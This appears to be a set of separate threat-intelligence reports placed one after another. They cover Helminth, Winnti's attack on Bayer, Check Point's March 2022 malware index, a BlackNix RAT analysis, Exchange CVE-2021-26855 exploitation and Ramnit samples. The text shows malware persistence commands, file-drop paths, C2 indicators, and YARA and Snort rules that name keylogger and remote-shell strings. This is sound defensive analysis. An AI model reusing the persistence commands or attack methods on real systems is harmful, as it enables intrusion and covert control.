server, which contains system information or the contents of files from the system. ### Helminth Executable Variant The executable variant of Helminth is installed with a Trojan that we are tracking as the HerHer Trojan. The HerHer Trojan saves several files to the file system upon execution to install the Helminth Trojan to the system: - %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Certificate Managment.lnk - %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Certificate.ico - %APPDATA%\Roaming\Microsoft Temperary\adbmanager.exe - %APPDATA%\Roaming\Microsoft Temperary\adbtray.exe - %APPDATA%\Local\Temp\acro\Users\config.txt - %PUBLIC%\Libraries\~Windows\wintrust.hlm The Helminth Trojan begins by creating a mutex named ‘[username]ver4.1’ and writes its embedded configuration as ciphertext to the following file: - %APPDATA%\Local\Temp\acro\Users\config.txt The Trojan will later decrypt the contents of this file using the RC4 algorithm, using the MD5 hash of ‘f246b23d-c2d6-45f2-b268-dec30d9adaad’ as the key. The Helminth executable variant is able to run batch scripts provided by the C2 server, which is very similar to the script version of this Trojan. The executable variant has one additional capability that is not present in the script version, which involves the ability to log keystrokes via a supplemental keylogger module. Helminth loads its keylogger module of the Trojan by loading the wintrust.hlm file dropped by the HerHer Trojan as a DLL and calling its exported function named ‘Initialize’. The keylogger creates a window named ‘kk’ to monitor both the clipboard and keystrokes and to save the data in cleartext to the file ‘%TEMP%/acro/Users/[GUID from CoCreateGuid]kk.tmp’. The Helminth executable is able to communicate with its C2 server via HTTP and via DNS queries in very similar ways to the Helminth script variant. The main difference between the beacons sent from the two variants of Helminth is the data included within the beacon, as the script variant does not send any system information within the beacons, whereas the executable version sends system and malware-specific information within both the HTTP and DNS beacons.
# Bayer Points Finger at Wicked Panda in Cyberattack German chemicals giant Bayer claims it has found malware from a Winnti hacker group in China which attacked the company in early 2018. The attack is part of a rising wave of cyberattacks worrying firms. A group of hackers known as Wicked Panda accessed Bayer's network in early 2018, the company said in a statement on Thursday. The hackers reportedly used Winnti malware, which had also been detected at three other, smaller, companies in Germany this year. Winnti is a China-based hacker group, of which Wicked Panda is believed to be a member. In Germany, they already targeted the computer systems of technology group ThyssenKrupp in 2016. "This type of attack points towards the Wicked Panda group in China, according to security experts," a company spokesman said, citing evidence gathered by the DCSO cybersecurity group, which was set up by Bayer in 2015 and includes other German companies such as Allianz, BASF, and Volkswagen. Bayer, Germany's largest drugmaker, said it had covertly monitored and analyzed the attack up to the end of March and then cleared the threat from its systems. "There is no evidence of data theft," the statement goes on. While public prosecutors in Cologne, Germany have opened an investigation into the incident, the former head of Germany's BND foreign intelligence service, Gerhard Schindler, said on Thursday it was difficult to determine the hackers' location. Bayer is also the world's largest agricultural supplies company after it has taken over US chemicals maker Monsanto. The news comes in the wake of one of Germany's biggest data breaches, in which the private data of almost 1,000 public figures were leaked in January, including email conversations and private photos. Cybersecurity has become a matter of urgency for German politics after the United States has ramped up pressure on its allies to desist from using Chinese firm Huawei technology in the rollout of 5G internet. Germany’s Office for Security in Information Technology (BSI) recently issued a warning to several German companies seen as potential targets for Chinese cyber espionage. There are mounting fears in Germany that Chinese hackers could be targeting companies involved in construction and materials research, engineering firms, and big commercial enterprises. According to a BSI report in February, Germany has seen a rising number of incidents hitting critical infrastructure, such as power grids and water suppliers. Among the companies most recently targeted by the Chinese hackers was the Hagen Hohenlimburg specialty steel mill in western Germany. Technical trade secrets were stolen from the steel production and manufacturing plant design divisions of ThyssenKrupp in the attacks. At the time, the company said it had been targeted by attackers located in Southeast Asia. In 2014, a blast furnace at a steelworks in Germany was also badly damaged by a cyber attack, resulting in "massive damage to machinery" at the unnamed German steel mill. This followed an attack on Deutsche Telekom routers that caused an outage for nearly 1 million customers. According to a survey published by Germany's IT sector association Bitkom in 2018, two-thirds of German manufacturers have already come under the attack of cybercriminals. The association estimates that this costs Europe's largest economy €43 billion ($50 billion) annually. Bitkom has also found that small and medium-sized companies are particularly vulnerable to attacks. Some 19 percent of those polled said their IT and production systems had been sabotaged digitally, with 11 percent reporting tapping of their communications.
# March 2022’s Most Wanted Malware: Easter Phishing Scams Help Emotet Assert its Dominance San Carlos, CA — Tue, 12 Apr 2022 Check Point Research (CPR), the Threat Intelligence arm of Check Point® Software Technologies Ltd. (NASDAQ: CHKP), a leading provider of cyber security solutions globally, has published its latest Global Threat Index for March 2022. Researchers report that Emotet is continuing its reign as the most popular malware, impacting 10% of organizations worldwide, double that of February. Emotet is an advanced, self-propagating and modular trojan that uses multiple methods for maintaining persistence and evasion techniques to avoid detection. Since its return in November last year and the recent news that Trickbot has shut down, Emotet has been strengthening its position as the most prevalent malware. This was solidified even further this month as many aggressive email campaigns have been distributing the botnet, including various Easter-themed phishing scams exploiting the buzz of the festivities. These emails were sent to victims all over the world with one such example using the subject “Buona Pasqua, happy easter,” yet attached to the email was a malicious XLS file to deliver Emotet. This month, Agent Tesla, the advanced RAT functioning as a keylogger and information stealer, is the second most prevalent malware, after appearing fourth in last month’s index. Agent Tesla’s rise is due to several new mal-spam campaigns delivering the RAT via malicious xlsx/pdf files worldwide. Some of these campaigns have leveraged the Russia/Ukraine war to lure victims. “Technology has advanced in recent years to such a point where cybercriminals are increasingly having to rely on human trust in order to get through to a corporate network. By theming their phishing emails around seasonal holidays such as Easter, they are able to exploit the buzz of the festivities and lure victims into downloading malicious attachments that contain malware such as Emotet. In the run up to the Easter weekend, we expect to see more of these scams and urge users to pay close attention, even if the email looks like it’s from a reputable source. Easter isn’t the only public holiday and cybercriminals will continue to deploy the same tactics to inflict harm,” said Maya Horowitz, VP of Research at Check Point Software. “This month we also observed Apache Log4j becoming the number one most exploited vulnerability again. Even after all the talk about this vulnerability at the end of last year, it is still causing harm months after the initial detection. Organizations need to take immediate action to prevent attacks from happening.” CPR also revealed this month that Education/Research is still the number one most attacked industry globally, followed by Government/Military and Internet Service Providers/Managed Service Providers (ISP/MSP). “Web Server Exposed Git Repository Information Disclosure” is now the second most commonly exploited vulnerability, impacting 26% of organizations worldwide, while “Apache Log4j Remote Code Execution” takes the top spot, impacting 33% of organizations. “HTTP Headers Remote Code Execution (CVE-2020-10826, CVE-2020-10827, CVE-2020-10828, CVE-2020-13756)” keeps hold of third place with a global impact of 26%. ## Top Malware Families *The arrows relate to the change in rank compared to the previous month.* This month, Emotet is still the most popular malware with a global impact of 10% of organizations worldwide, followed by Agent Tesla and XMRig, both impacting 2% of organizations each. 1. **Emotet** – Emotet is an advanced, self-propagating, and modular Trojan. Emotet was once used as a banking Trojan and is now used as a distributor to other malware or malicious campaigns. It uses multiple methods for maintaining persistence and evasion techniques to avoid detection. In addition, it can be spread through phishing spam emails containing malicious attachments or links. 2. **Agent Tesla** – Agent Tesla is an advanced RAT functioning as a keylogger and information stealer, which is capable of monitoring and collecting the victim’s keyboard input, taking screenshots, and exfiltrating credentials to a variety of software installed on a victim’s machine (including Google Chrome, Mozilla Firefox, and the Microsoft Outlook email client). 3. **XMRig** – XMRig is an open-source CPU mining software used for the mining process of the Monero cryptocurrency and was first seen in the wild in May 2017. ## Top Attacked Industries Globally This month, Education/Research is the number one most attacked industry globally, followed by Government/Military and ISP/MSP. 1. Education/Research 2. Government/Military 3. ISP/MSP ## Top Exploited Vulnerabilities This month, “Apache Log4j Remote Code Execution” is the most commonly exploited vulnerability, impacting 33% of organizations globally, followed by “Web Server Exposed Git Repository Information Disclosure,” which dropped from first place to second place and impacts 26% of organizations worldwide. “HTTP Headers Remote Code Execution” is still in third place in the top exploited vulnerabilities list, with a global impact of 26%. 1. **Apache Log4j Remote Code Execution (CVE-2021-44228)** – A remote code execution vulnerability exists in Apache Log4j. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. 2. **Web Server Exposed Git Repository Information Disclosure** – An information disclosure vulnerability has been reported in Git Repository. Successful exploitation of this vulnerability could allow an unintentional disclosure of account information. 3. **HTTP Headers Remote Code Execution (CVE-2020-10826, CVE-2020-10827, CVE-2020-10828, CVE-2020-13756)** – HTTP headers let the client and the server pass additional information with an HTTP request. A remote attacker may use a vulnerable HTTP Header to run arbitrary code on the victim machine. ## Top Mobile Malware This month, AlienBot is the most prevalent mobile malware, followed by xHelper and FluBot. 1. **AlienBot** – AlienBot malware family is a Malware-as-a-Service (MaaS) for Android devices that allows a remote attacker to inject malicious code into legitimate financial applications. The attacker obtains access to victims’ accounts and eventually completely controls their device. 2. **xHelper** – A malicious application seen in the wild since March 2019, used for downloading other malicious apps and displaying advertisements. The application is capable of hiding itself from the user and reinstalling itself if uninstalled. 3. **FluBot** – FluBot is an Android malware distributed via phishing SMS messages (Smishing), most often impersonating logistics delivery brands. Once the user clicks the link inside the message, they are redirected to the download of a fake application containing FluBot. Once installed, the malware has various capabilities to harvest credentials and support the Smishing operation itself, including uploading contact lists and sending SMS messages to other phone numbers. Check Point’s Global Threat Impact Index and its ThreatCloud Map is powered by Check Point’s ThreatCloud intelligence. ThreatCloud provides real-time threat intelligence derived from hundreds of millions of sensors worldwide, over networks, endpoints, and mobiles. The intelligence is enriched with AI-based engines and exclusive research data from Check Point Research, the Intelligence & Research Arm of Check Point Software Technologies.
# Shadows with a Chance of BlackNix In the last post, I did an analysis of a set of BBSRAT samples that are characterized by unique mutexes (cc5d64b344700e403e2sse, cc5d6b4700e403e2sse, cc5d6b4700032eSS) and calls back to a known Winnti Group C2 (bot[.]googlerenewals[.]net). In this post, I’m going to continue on analysis of samples related to the abovementioned mutexes. When I started on this analysis journey, I was hoping to find more BBSRAT samples. However, the results I arrived at deviated from expectations, and instead I found a set of dropper malware that used the same mutexes as those found in the BBSRAT samples I analyzed. The final payload dropped by these droppers is the BlackNix RAT. Pivoting from the C2 called from this BlackNix RAT, more BlackNix RATs were found on VirusTotal. I was unable to find any technical blogs on the BlackNix RAT, and hence, here I am. The following diagram is a sort of a “signpost” for this writing. ## Let’s dip into the first dropper! **Project1.exe** The following files are likely from the same source code: - daaa061c88b197fa92d9648306e79875e3a24f392550dacaabd22e5fdba53ebf - 75dc821013fe92ef93cefa47d3fe83ad5ce90658e8ef01fcdb0b11652397abec Judging from the executables’ icon, it looks like the samples are written with Borland Delphi 7, and sadly the executables’ compilation timestamps are 1992–06–19 22:22:17 (a well-known bug in Delphi 4–2006). The samples’ compilation time can still be deduced with the timestamp within the executables’ resources. This dropper will drop 2 files `system.exe` and `systemm.exe` into `%USERPROFILE%\Pictures`, execute them and write `diskshadow.exe` to `C:\ProgramData\Microsoft\DeviceSync\`. ### system.exe, systemm.exe **SHA256:** AEB61477C3F4F2D76AF0DC97B19B01F73C8ADA1FCE91D66E8B0E489E2E807430 Execution of `system.exe` creates a service to execute itself within the context of the service. ``` C:\Windows\System32\sc.exe create SESSRV binpath= “cmd /c \”C:\Users\asuna\Pictures\system.exe\”” C:\Windows\System32\net.exe start SESSRV ``` The mutexes are set within the execution of `system.exe` and `systemm.exe. `systemm.exe` attempts to copy `diskshadow.exe` to a network location `\\TSCLIENT\%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. The sample also attempts to locate and copy a `1.jpg.lnk` within the same directory as `diskshadow.exe`, but this file was not created by the previous dropper. In gist, the sample’s job is to copy the payload `diskshadow.exe` to a host that is connected to the current victim via RDP and set persistency to run at startup. This is possibly a tool meant for lateral movement within the victim network. The same technique is also found in the execution of the BBSRAT samples analyzed previously. The following screen captures referenced one of the BBSRAT trinity files, `lockdown.dll` (MD5: 166D28FF69019D9991EECBD26DC1E266): Copy file to network location. Left: `system.exe`; Right: `lockdown.dll` The mutexes come into play with the same “usage” as what was seen in the BBSRAT samples as well. Given that even the sleep counter is identical, I would suspect that the two executables might share the same “base code” (or perhaps copied from the same “reference code”). The proximity of their compilation time also suggests that perhaps the same author is behind both executables. **System.exe:** 13 May 2018 19:34:27 **Lockdown.dll:** 6 May 2018 17:59:24 Enough of the dropper, let’s look at the actual evil payload now. ## Diskshadow.exe With just one look at it, we’d know it’s UPX-packed. So let’s unpack it quickly. **After unpack:** **MD5:** 40835ED7C92F33F7F377D4472228CB65 **SHA1:** 033E97D4AC3AE3CEC00A206F2AD5CCC922DBD326 **SHA256:** C5BAB78FCA3DB0CE5FFFF5838A5A4A93D930E715DED1CBD8A5B3CAF0CDCE803C With the assistance of Procmon, we can see that the binary will drop 2 files, `intel.exe` and `inte.exe` into the `C:\intel` directory. The binary also sets 2 persistency mechanisms. Note the presence of Simplified Chinese words within the name of the registry key — 更新计划程序 (translates to “Update Schedule Program”). This is not the only place where Simplified Chinese words are observed. ``` regsetval sz HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run “intel更新计划程序” “c:\intel\inte.exe”’,0 shortcut “c:\intel\inte.exe” “~$folder.startup$” “Windows Calculator” ``` The two files dropped are: **intel.exe** **SHA256:** 12459A5E9AFDB2DBFF685C8C4E916BB15B34745D56EF5F778DF99416D2749261 This is the NirCmd executable from Nirsoft. NirCmd is a small command-line utility that allows you to do some useful tasks without displaying any user interface. **inte.exe** **SHA256:** F46520C2284E20C42AFA6E9B90E380735BFDF29817828369D5F1270A887E6979 This is the actual BlackNix RAT, which is the meat that we want to analyze. Both `diskshadow.exe` and `inte.exe` are written in Borland Delphi and their compilation datetime stamps are as follow: - **File:** `C:\ProgramData\Microsoft\DeviceSync\diskshadow.exe` **PE Comp.:** 1992–06–19 22:22:17 **.rsrc comp.:** 2018–10–22 22:50:06 - **File:** `C:\Intel\inte.exe` **PE Comp.:** 1992–06–19 22:22:17 **.rsrc comp.:** 2018–10–22 22:49:20 Judging from the compilation datetimes, they might be the output of a generator. Here, I could also make a guess at the chronological logic of when the files are prepared. As with my usual style, I will start with a quick look at strings to try to guess the behaviour of the sample, before diving into dynamic and static analysis. Fortunately, the sample contains many helpful and descriptive strings that can help us deduce the features that this RAT provides, including Keylogger, FileManager, ProcessManager etc. Pretty typical RAT stuff. The sample happened to match James_inthe_box’s YARA rule on BlackNix RAT: ``` rule BlacknixRAT_bin { meta: description = “BlacknixRAT” author = “James_inthe_box” date = “2019/02” maltype = “RAT” strings: $string1 = “[Random-Number-Here]” $string2 = “ScreenCapture” $string3 = “TScreenSpy” $string4 = “KeyLogger” $string5 = “RemoteShell” condition: uint16(0) == 0x5A4D and all of ($string*) and filesize < 2000KB } ``` Based on the strings seen above, the strings that matched the YARA rule did not look unique enough to confirm that this is indeed a BlackNix RAT. James_inthe_box also provided a snort rule: ``` alert tcp any any -> any 80 (msg:”Blacknix RAT Detected”; flow:established,to_server; content:”|32|”; depth:1; content:”|7c 78 01 6d 8e|”; within:10; classtype:trojan-activity; sid:20166298; rev:1; metadata:created_at 2019_07_18; ``` Let’s see what we have in the network data. Yup, I see a 7C 78 01 but that’s not an exact match with the pattern in the snort rule. Hang on a second.. 78 01 looks like the ZLIB magic header. There we go! I noticed some weird characters, which could be indicative of Unicode (maybe Chinese…?). Indeed! 初始 is translated to mean Initial Start, and “2核2808” might mean 2 Cores (probably referring to the CPU cores). I’ll step through the code that forms up this data in a bit. Now, let us try to confirm if this callback belongs to BlackNix family. The YARA and snort rules mentioned above referenced a sample (SHA256: A4DA694DED531EC60CA5A242C554B6A7062E12FF633D34656C4CA9DF86E42DD5). Let’s sidetrack and see what this sample does. This sample is packed with VMProtect, so to save time, I’m just going to execute it and see what happens. Upon execution, a new file `phpalpha.exe` is created in `C:\Intel\ExtremeGraphics\CUI\Resource`. Turns out the file has the same hash as the parent binary. The network callback looks like this: We already know that’s a ZLIB header, so let’s use CyberChef to view the inflated data: Interesting. The data structure and keywords are identical. Now I can say that the sample (SHA256: A4DA694DED531EC60CA5A242C554B6A7062E12FF633D34656C4CA9DF86E42DD5) and our sample (inte.exe, SHA256: F46520C2284E20C42AFA6E9B90E380735BFDF29817828369D5F1270A887E6979) belong to the same family. Is it really BlackNix though? ## With the C2, everything is easier With some help from Google search, I found a copy of a BlackNix C2 component. The C2 executable comes with the ability to generate the “server” component. This naming convention is common in RATs, where the malware client is typically referred to as the “server”, and the C2 is the “client”. The following is one of the default profiles loaded with the C2: For the ease of testing, I changed some of the values when generating our test binary. The generator even comes with the option of UPX-packing the generated binary if the user wishes. Inspecting the strings within the generated binary, we can quickly identify some familiar keywords. I’ve written a quick script to read the strings from the default settings. This will come useful later, when comparing these strings across different samples. Here’s the output of running the script: It appears that these SETTINGS strings have nothing to do with the configuration set when generating the binary. The default connection password within the C2 is “admin” and notice that even if I changed the password when generating the binary, the new password does not get inserted into this SETTINGS data. These may be part of a “stub” that comes with the C2 executable and inserted into every generated binary. I think this may be a helpful piece of information when trying to identify if a set of BlackNix RATs is communicating with the same C2 executable (or at least the same version). Take a look at the network communications. First thing that I noticed was the difference in the way the “Processor” information is being formatted. Remember there were some Chinese words (2核2808) that I thought refers to Processor Cores? In the data sent from this test binary, the processor information was simply a “2808” (referring to 2808 Mhz, which is indeed the setup of my VM). ## Let’s get back to the sample we have at hand. I did an in-depth analysis of how the first beacon’s data structure is formed within `inte.exe`. Earlier I mentioned some SETTINGS strings. These are the strings that are populated into a data structure and some of these values are later copied into the first beacon data. Let’s compare the default SETTINGS strings found in the generated BlackNix binary and `inte.exe`. The following code is responsible for building the structure to be sent in the first beacon: The following is the deduced first beacon’s data structure sent from the `inte.exe` to its C2. ``` OnConnect|Default 初始|Username|Username|Computer Name|IP Address|Hardcoded Space|Locale|Is Machine Idle?|Locale|Language|Account Privilege|Processor|Memory|Foreground Window Text|OS|Default False|Default False|%Root%|%Desktop%|%MyDocuments%|%AppData%|Locale|Server authentication password|ProdID, InstallDate| ``` Now we can play spot-the-differences. We can guess what each of these fields mean by looking at what can be seen on the dashboard, without reverse engineering the binary. The following is the deduced first beacon’s data structure sent from the test BlackNix binary. ``` OnConnect|Assigned Group|Assigned Name|Username|Computer Name|IP Address|Webcam Installed?|C2 Version|?|Locale|Language|Account Privilege|Processor|Memory|OS|True/False?|True/False?|%Root%|%Desktop%|%MyDocuments%|%AppData%|Locale|Server authentication password|?| ``` Comparison of fields within data structure sent to C2. Yes! `inte.exe` is a BlackNix RAT, but has a different/modified C2 component? What I did above proved that the `inte.exe` sample is indeed a BlackNix RAT, judging from the highly similar data structure within the initial beacon and the similarities found within the executables. However, since some fields in the communicated data are interpreted differently, I’m guessing there is a customised C2 that the adversary is using. I am not even able to tell the version number of the C2 from the sample, perhaps it is not important for the adversary. However, the SETTINGS strings found within the samples could be a way for us to differentiate variants. So far, I’ve walked through the analysis of this set of files: - 1st level droppers (`Project1.exe`) - daaa061c88b197fa92d9648306e79875e3a24f392550dacaabd22e5fdba53ebf - 75dc821013fe92ef93cefa47d3fe83ad5ce90658e8ef01fcdb0b11652397abec - 2nd level droppers (`diskshadow.exe`) - f0311ede2dd5e752411bf181626e3cdb36737affe67ddeb8af028d0c44355886 - c5bab78fca3db0ce5ffff5838a5a4a93d930e715ded1cbd8a5b3caf0cdce803c - (`inte.exe`) - f46520c2284e20c42afa6e9b90e380735bfdf29817828369d5f1270a887e6979 I’ve verified that the sample `inte.exe` is indeed a BlackNix RAT and communicates with a custom BlackNix C2 at IP address 112.213.107[.]134. Related to this IP address, other possible BlackNix RAT samples were found on VirusTotal. In addition, one other BlackNix RAT samples were mentioned by james_inthe_box. Based on SSDEEP similarity, another sample was found. Next, we shall see if all these samples send data in the same structure as what we have analyzed previously. If they do, then perhaps these are all related in some way and are not “wild” BlackNix RATs. ## Set 1 binaries Execution of these binaries will result in errors. Upon closer look, the errors happen because some part of the binary seems to be corrupted. Whether this is a deliberate “disarm” attempt or due to a bug, I can’t tell. Just patch the areas with the corresponding bytes from `inte.exe` to fix the problems. The following screenshots show highlighted areas after patching. From the network packet, it looks like the data structures are identical to what we saw in `inte.exe`. This is verified with a comparison of the function that is responsible for building the structure. This is not surprising, as they all call back to the same IP address. ## Set 2 binaries These binaries are different, because they are VMProtect-packed, which means that I cannot simply throw them into IDA Pro and hope to do function comparisons. Execution of these binaries require them to be executed with administrator privileges, as they will spawn a `svchost.exe` process for injection. Knowing this behaviour, we can dump the unpacked executable from memory at the moment where the injection happens. A breakpoint at `ntdll.dll’s NtWriteVirtualMemory` will do the trick. The idea is to watch for a call to `NtWriteVirtualMemory` with a handle to `svchost.exe`, and let it run till all the sections have been copied. We would know it’s done when `NtResumeThread` is called. After dumping the executable from memory, we would have to fix the section headers’ raw addresses before we can use IDA Pro to look at it. A quick look at strings within this dumped file reveals the tell-tale BlackNix strings: The SETTINGS strings look identical to what was seen in `inte.exe`, including the Chinese words 初始 and the server password ‘root’. The function that is responsible for reading the SETTINGS strings and building the callback data structure is identical to `inte.exe’s` as well (and hence the callback data structure is also the same). I am certain that we are looking at the same variant of BlackNix RAT here. ## So, they are all the same BlackNix variant. Now what? This journey started from some unique mutexes found in a malware (one BBSRAT) that calls back to one of known Winnti Group’s infrastructure. The same set of mutexes, some overlaps in code logic (in the naming of files and lateral movement using RDP shared drives), as well as close time proximity in compilation timestamps, suggested relationship between that one BBSRAT and the set of BlackNix RATs (`Project1.exe`). In addition to the mutexes, I noticed other similarities in `Project1.exe’s` execution and the Trochilus RAT dropper `csres.exe` described in Trend Micro’s Uncovering DRBControl report, specifically in the names of the files and service created and path to malicious binary: - `system.exe` - `SESSRV` - `c:\ProgramData\Microsoft\DeviceSync` I get reminded of my earlier speculation that `system.exe` is a generic tool used to deliver/spread the payload (be it BlackNix or Trochilus RAT). I’ll never know for sure till I get my hands on some more samples. ## Last Words Is Winnti Group also behind the set of BlackNix RATs that were under scrutiny in this post? There might be a good chance this is true. However, one other interesting finding that I came across was that the C2 domain `msdnsoft[.]lang32[.]com` as well as the corresponding binary (SHA256: 873dfa94f924d59ceff4efb277fef5a251d7b648605c5239fc2ac0885ba32bd5) were linked to an adversary group named “Lang32” by QiAnXin Technology. This adversary group is said to target victims in Southeast Asia. Perhaps I should look into the tools used by this group as well… But that’s a different long story for another time, that’s it for now!
# Imperva Observes Hive of Activity Following Hafnium Microsoft Exchange Disclosures ## Introduction On 2 March 2021, Microsoft and Veloxity produced disclosures outlining the discovery of four zero-day vulnerabilities affecting multiple versions of Microsoft Exchange Server. Each of the vulnerabilities has been attributed a severity rating from high to critical; however, the most impactful statement from both Microsoft and Veloxity was that these vulnerabilities formed an attack chain which was being actively exploited in the wild. Since the publication of these disclosures, details have emerged regarding the observed source of the exploitation of these vulnerabilities. The attacks are being widely attributed to the state-sponsored group dubbed Hafnium, alleged to be operating out of China. The most notable of the new CVEs, CVE-2021-26855, is a SSRF vulnerability in Microsoft Exchange which allows an attacker to induce the server into performing “unintended actions” through the use of a series of specially crafted POST requests. The attacker can leverage this vulnerability to exploit the other CVEs to perform malicious actions, such as dumping private email or even achieving remote code execution. ## Observations and Statistics Since the 2 March disclosures, Imperva has observed over 44k scanning and exploitation attempt sessions in the wild from over 1,600 unique source IPs, related to the Microsoft Exchange CVE-2021-26855 SSRF. From this data, we have been able to identify the most targeted industries and countries which have been affected by the vulnerability in the aftermath of the disclosures. ### Targeted Industries One of the key observations we have made is that this vulnerability has impacted almost every category of industry, explained by how ubiquitous the use of Microsoft Exchange is across all sectors. According to our data, the Computing & IT sector was the most targeted industry, with 21% of all targeted sites belonging to this category. Next was Financial Services with 18%, and Telecoms and ISPs completed the top 3 with 10.5%. Below we show the breakdown of scanning and exploitation attempts against various industries. ### Targeted Countries Imperva observed both scanning and exploitation attempts against sites worldwide, with the US being the most targeted country, followed by the UK and Singapore as distant second and third, respectively. ### Source Countries Imperva observed that since the disclosures, relatively few scanning and exploitation attempts have been made from Chinese sources. This could be because exploitation, and to a greater extent, scanning has shifted to the wider public. It may also be because the attackers are using proxies to carry out the attacks. The chart below shows the top attacking countries by session count observed by Imperva analysts since the disclosures. ### Attacker IP Reputation Imperva’s IP reputation allows for the identification of potentially suspicious or malicious behavior by means of tagging relevant IPs. From this data, 42.3% of the attacker source IPs were previously tagged by Imperva as having exhibited malicious behavior, and 8.45% of the attacker source IPs were previously tagged by Imperva as being identified as vulnerability scanners. ### Observed Attacker Activity Imperva analysts have observed various indicators of the attempted exploitation of the Microsoft Exchange Hafnium CVE-2021-26855 in the wild, indicating various motives on the part of the attackers. As mentioned previously, an attacker can leverage the vulnerability to perform various unauthorized actions, including the collection of private information and even the writing of arbitrary files to the server resulting in remote code execution. In this section, we will discuss some of the requests we have observed and the perceived intentions and motivation of the attackers. Detailed descriptions of how the exploit chain works and how it can be exploited are available at various different sources; however, the important thing to understand is that the vulnerability allows an attacker to send malicious requests to various backend components in Microsoft Exchange by means of a specially crafted POST request to either the Outlook Web Application or the Exchange Admin Centre, where the “X-BEResource” and “X-AnonResource-Backend” cookie values can be manipulated to specify the targeted resource. In our investigation following the disclosures, we have observed the following in our data. #### Crafted requests to /EWS/Exchange.asmx A common exploit request observed by Imperva attempting to exploit the CVE-2021-26855 SSRF vulnerability was a POST request to Exchange Admin Centre (/ecp/) and Outlook Web Application endpoints (/owa/) endpoint, with the crafted cookie value endpoints set to the Exchange Web Services endpoint “/EWS/Exchange.asmx”. This allows the attacker to gain authenticated access to private mail on the server. This request accounted for 18% of exploitation attempts observed. #### Crafted requests to /autodiscover/autodiscover.xml The most common exploitation attempt of the SSRF observed by Imperva analysts were requests to the Exchange Admin Centre endpoint (/ecp), with the vulnerable cookie set with the FQDN of the server, and the endpoint of /autodiscover/autodiscover.xml. Autodiscover in Exchange is a service that allows for the rapid collection of Exchange configurations, service URLs, and supported protocols; therefore, it makes an obvious target for attackers who are attempting to quickly gather information, escalate privileges, and maintain persistence. In the case of this vulnerability, the autodiscover service could be used to gather the information required for further exploitation of the other CVEs associated with the chain. This request accounted for 51% of exploitation attempts observed. #### Crafted requests to /mapi/emsmdb Another pattern Imperva analysts observed were crafted POST requests to the Exchange Admin Centre (/ecp), with the cookie value crafted with the /mapi/emsmdb endpoint. Research into the published exploits and disclosures indicate that the “/mapi/emsmdb” endpoint can be abused to procure a valid SID, which can then allow the attacker to gain privileges to the Exchange “proxyLogin.ecp” endpoint (Exchange HTTP proxy), which can in turn be used to obtain a valid “ASP.NET_SessionID” and “msExchEcpCanary” values which are required for further chained exploitation of MS Exchange. This request accounted for 3% of exploitation attempts observed. ## How Imperva protects you Imperva has implemented rules in Cloud WAF and On-Prem WAF, which are effective against all exploitation of CVE-2021-26855. These rules are also effective against the chained exploitation of the subsequent CVEs: CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065. ## Check if you have been compromised Since the disclosures of these zero-day vulnerabilities, various news articles have been published reporting mass exploitation. We recommend that if you have unpatched Exchange servers in your organization, you apply the latest patches from Microsoft as soon as possible and use the following guide from Microsoft to check for any indicators of compromise.
# Blackhole Ramnit - Samples and Analysis Ramnit, a Zeus-like trojan/worm/file infector with rootkit capabilities, has been in the wild for a long time but recently made news because Seculert reported about a financial variant of this malware aimed at stealing Facebook credentials. While I did not see any Facebook-related activity in my samples, I am posting them anyway for your research as their functionality is the same. The samples I have are being spread not via Facebook but via the Blackhole exploit kit, which is a very effective method. Blackhole exploit kit was associated with the spread of ZeuS and Spyeye, and it is not surprising that Ramnit is being spread in the same manner by the same groups. The group of command and control servers that I researched is associated with pharma spam and "Canadian" online pharmacies. ## General File Information - **File:** 607B2219FBCFBFE8E6AC9D7F3FB8D50E **MD5:** 607B2219FBCFBFE8E6AC9D7F3FB8D50E - **File:** c33e7ed929760020820e8808289c240e **MD5:** C33E7ED929760020820E8808289C240E - **File:** 76991eefea6cb01e1d7435ae973858e6 - not analysed **MD5:** 76991EEFEA6CB01E1D7435AE973858E6 - **File:** 2ff2c8ada4fc6291846f0d66ae57ca37 - not analysed **MD5:** 2FF2C8ADA4FC6291846F0D66AE57CA37 ## Distribution The files analysed were being distributed via the Blackhole exploit pack. It starts with the usual large letter message "Please wait page is loading" - then Java exploit launches and compromise takes place if the machine is vulnerable. Here you can see the Blackhole domains spreading Ramnit in the Malwaredomainlist. Amberfreda.com domain belongs to a legitimate company and is registered in Arizona, while a subdomain best.amberfreda.com is registered by some Ukrainian individual. - **amberfreda.com** 173.201.97.1 - **best.amberfreda.com** 178.162.145.184 ## Brief Analysis ### 607B2219FBCFBFE8E6 Hendrik Adrian from Japan posted his analysis of the same sample (0day.JP - Ramnit) where he described the files created by the malware and the spam-sending capabilities of the bot. The bot deletes registry settings for the safe boot, which causes BSOD and prevents one from removing the malicious files in safe mode. 1. Adds a Windows service (Microsoft Windows Service - note the spelling). 2. Adds the following files (names vary): - `\Application Data\nvamibiv\vcryserj.exe` - copy of the original - `\Application Data\wduqtdai.log` - number of logs varies, contain encrypted data - `\Application Data\xtyepaef.log` - number of logs varies, contain encrypted data - `\Temp\nhptugtstukgwpyi.exe` - copy of the original - `\Start Menu\Programs\Startup\vcryserj.exe` - copy of the original - `\Local Settings\Temp\dnsgvbny.sys` - the rootkit Ramnit injects itself into two svchost.exe processes, and you can see them if you sort all processes by PID; the last two will be those created by Ramnit. It generates spam that it sends out on port 25, which Hendrik already described in his post. ### C33E7ED929760020820E8808289C240E The second file has file infector features I did not observe in 607B2219FBCFBFE8E6AC9D7F3FB8D50E. As you see in the log below, malicious svchost.exe modifies or tries to modify every binary and HTML file by appending malicious code to each file or a VBS script to HTML files. This does not break the infected binaries; all files continue to work as designed, except they infect or reinfect the computer they are running on. For an average user, it is impossible to clean a system compromised with Ramnit file injector and use it confidently. The only way is to say goodbye to all the HTM(L), DLL, and EXE files and build a new system without trying to copy any HTML files, bookmarks, or applications. ### VirusTotalUpload2.exe - **Submission date:** 2012-01-10 04:29:25 (UTC) - **Result:** 37 / 43 (86.0%) | Antivirus | Version | Last Update | Result | |-----------|---------|-------------|--------| | AhnLab-V3 | 2012.01.09.00 | 2012.01.09 | Win32/Ramnit.O | | AntiVir | 7.11.20.218 | 2012.01.10 | W32/Ramnit.E | | Avast | 6.0.1289.0 | 2012.01.09 | Win32:Ramnit-H | | AVG | 10.0.0.1190 | 2012.01.10 | 